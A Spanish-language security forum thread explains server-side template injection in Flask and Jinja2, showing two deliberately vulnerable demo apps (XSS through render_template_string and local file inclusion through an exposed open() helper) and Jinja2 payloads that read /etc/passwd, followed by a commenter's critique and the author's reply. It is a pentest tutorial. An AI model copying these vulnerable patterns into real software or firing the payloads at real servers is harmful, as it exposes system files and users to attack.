comment
IRC Chat
play_arrow
Este sitio utiliza cookies propias y de terceros. Si continúa navegando consideramos que acepta el uso de cookies. OK Más Información.

Flask + Jinaj2 Server-Side Template Injection

  • 2 Respuestas
  • 465 Vistas

0 Usuarios y 1 Visitante están viendo este tema.

Desconectado Dedalo

  • *
  • Underc0der
  • Mensajes: 117
  • Actividad:
    0%
  • Reputación 0
  • KUSH
    • Ver Perfil
    • Twitter Personal
  • Twitter: https://twitter.com/SeguridadBlanca
« en: Julio 07, 2018, 01:31:49 am »
Por estos días tuve la oportunidad de trabajar con No tienes permisos para ver links. Registrate o Entra con tu cuenta, un micro-framework que te permite hacer webs con Python y sintaxis de Jinja2. La aplicación que llegó a mis manos tenía un login, un panel que trabaja con una base de datos y hasta con algunos temas de criptografía. Me llamó mucho la atención como funcionaba y esto es un poco de lo que pude concluir.

Server-Side Template Injection

Por la forma en la que está diseñado Flask, podemos explotar Server Side Template Injection. Es interesante tomarlo en cuenta para el momento de hacer pentest porque ya le han reportado No tienes permisos para ver links. Registrate o Entra con tu cuenta explotando este tipo de vulnerabilidades.

El primer ejemplo es un XSS mediante Template Injection. Por defecto flask no filtra las variables cuando se usa request.args.get('var'). El código a continuación es vulnerable a XSS.

Código: Python
  1.  
  2. from flask import Flask, request, render_template_string
  3.  
  4. app = Flask(__name__)
  5.  
  6. @app.route('/XSS')
  7. def hello_xss():
  8.         template = '''<h2>Hola %s!</h2>''' % request.args.get('nombre')
  9.         return render_template_string(template, person=request.args.get('nombre'))
  10.  
  11. if __name__ == "__main__":
  12.         app.run(debug=True)
  13.  
  14.  

El cual se puede explotar fácilmente de la siguiente forma:



Otro vector de ataque que encontré fue LFI a través del popular open(), como se puede ver en el siguiente ejemplo:

Código: Python
  1.  
  2. from flask import Flask, request, render_template_string
  3.  
  4. app = Flask(__name__)
  5.  
  6. @app.route('/LFI')
  7. def hello_lfi():
  8.         template = '''<h2>Hola %s!</h2>''' % request.args.get('name')
  9.         return render_template_string(template, person=request.args.get('name'), get_user_file=get_user_file)
  10.  
  11. def get_user_file(f_name):
  12.         with open(f_name) as f:
  13.                 return f.readlines()
  14.  
  15.  
  16. if __name__ == "__main__":
  17.         app.run(debug=True)
  18.  
  19.  

El cual se puede explotar de la siguiente forma:



El código que usé en el anterior ejemplo en la variable name fue:

Código: No tienes permisos para ver links. Registrate o Entra con tu cuenta
<pre> {% for a in get_user_file("/etc/passwd") %} {{a}} {%endfor%} </pre>
También pude haber sacado el archivo completo de la siguiente forma:

Código: No tienes permisos para ver links. Registrate o Entra con tu cuenta
{{get_user_file("/etc/passwd")}}
Pero le puse el FOR para hacer que se vea mucho mejor, si quieren entender la diferencia entre {{}} y {%%} les recomiendo leer la info sobre FLASK en el link del principio de este post y la verdad 100% recomendable, un framework bien interesante.

Como se pueden imaginar, también se puede explotar Inyección SQL pero he pensado también en otros tipos de explotación bastante interesantes. Si se les ocurren otros métodos de explotación coméntenmelos y no olviden seguirme en TW como @SeguridadBlanca
No tienes permisos para ver links. Registrate o Entra con tu cuenta

Desconectado #🍊

  • *
  • Underc0der
  • Mensajes: 39
  • Actividad:
    1.67%
  • Reputación 1
  • TheWAV.s
    • Ver Perfil
« Respuesta #1 en: Julio 10, 2018, 03:11:18 pm »
Hola Dedalo, tu publicación y el código que empleaste está bastante minificado para servir como ejemplo básico, aunque yo entienda... otros aún se van a seguir cuestionando.

No explicas los pasos básicos y citas... un writeup en chino, donde peor aún no se puede interpretar nada.

Código: Python
  1.  
  2. from flask import Flask, request, render_template_string
  3.  
  4. app = Flask(__name__)
  5.  
  6. @app.route('/XSS')
  7. def hello_xss():
  8.         template = '''<h2>Hola %s!</h2>''' % request.args.get('nombre')
  9.         return render_template_string(template, person=request.args.get('nombre'))
  10.  
  11. if __name__ == "__main__":
  12.         app.run(debug=True)
  13.  
  14.  


Si bien la subclase: request.args.get('nombre') no es correctamente escapado (with escape y la variable person que no sigue las buenas prácticas de programación...) y a su vez permite manipular cualquier entrada de un usuario malintencionado, no es la unica subclase "vulnerable" o mal declarada dentro de ese código, también está render_template_string, que permite renderizar el primer parametro templatecomo una cadena, existen endpoints que renderizan 2 veces o formateen una URL como una cadena.

Código: Python
  1.  
  2. from flask import Flask, request, render_template_string
  3.  
  4. app = Flask(__name__)
  5.  
  6. @app.route('/LFI')
  7. def hello_lfi():
  8.         template = '''<h2>Hola %s!</h2>''' % request.args.get('name')
  9.         return render_template_string(template, person=request.args.get('name'), get_user_file=get_user_file)
  10.  
  11. def get_user_file(f_name):
  12.         with open(f_name) as f:
  13.                 return f.readlines()
  14.  
  15.  
  16. if __name__ == "__main__":
  17.         app.run(debug=True)
  18.  
  19.  

Esto difiere bastante y no solo depende de open(), también puede darse el mal uso de request.args.get para servir o guardar archivos conduciendo a un directory traversal o LFI.

En algún momento pretendía hacer una publicacion de Server-Side Template Injection, pero...

#Saludos.
« Última modificación: Julio 10, 2018, 05:56:55 pm por TheWAV.s »

Desconectado Dedalo

  • *
  • Underc0der
  • Mensajes: 117
  • Actividad:
    0%
  • Reputación 0
  • KUSH
    • Ver Perfil
    • Twitter Personal
  • Twitter: https://twitter.com/SeguridadBlanca
« Respuesta #2 en: Julio 11, 2018, 01:29:28 am »
Hola TheWAV.s antes que nada agradecerte, por un minuto pensé que nadie comentaría nada.

Primero, si, el tutorial no está hecho para gente que nunca ha visto flask sino más bien para alguien que alguna vez lo vio o vio frameworks similares en python.

Segundo, la verdad creo que estás redundando un poco sobre todo en:
Citar
Esto difiere bastante y no solo depende de open(), también puede darse el mal uso de request.args.get para servir o guardar archivos conduciendo a un directory traversal o LFI.

Porque es exactamente lo que hago en el tutorial, a través de la variable que se espicifíca en request.args.get, hace un LFI.

Pero en todo caso agradezco que desees complementar mi post. Después de todo de eso se trata un foro. Igual sería bueno que saques un post para nutrir más la comunidad y para que brindes más información de como funciona flask para las personas que este tutorial les pueda parecer avanzado.

Una vez más vale aclarar que efectivamente este post no es para gente que recién ha visto python o flask, es para personas que ya lo vieron y para que me den más feedback de otros vectores a explotar y nutrirme yo también

Saludos!
No tienes permisos para ver links. Registrate o Entra con tu cuenta

 

¿Te gustó el post? COMPARTILO!



[Video- español] Curso de SQL INJECTION (SQLI) - Básico a Avanzado

Iniciado por Franciscodc

Respuestas: 1
Vistas: 2632
Último mensaje Agosto 29, 2018, 02:50:31 am
por Lmntr1x
Instalar servidor proxy caché Squid en Ubuntu server

Iniciado por CodePunisher

Respuestas: 0
Vistas: 2795
Último mensaje Julio 25, 2013, 05:30:02 pm
por CodePunisher
[VIDEOTUTORIAL] Técnicas Anti-hacker en; PHP - XSS - CSRF - SQL INJECTION - Etc.

Iniciado por akame_night_raid

Respuestas: 0
Vistas: 1953
Último mensaje Abril 20, 2016, 02:07:50 pm
por akame_night_raid
Proteger nuestro server web de ataques con .htaccess

Iniciado por july

Respuestas: 10
Vistas: 4923
Último mensaje Julio 21, 2013, 09:46:43 pm
por CodePunisher
Google Dorks SQL Injection & XSS Payload

Iniciado por Drok3r

Respuestas: 0
Vistas: 845
Último mensaje Febrero 15, 2018, 09:05:05 pm
por Drok3r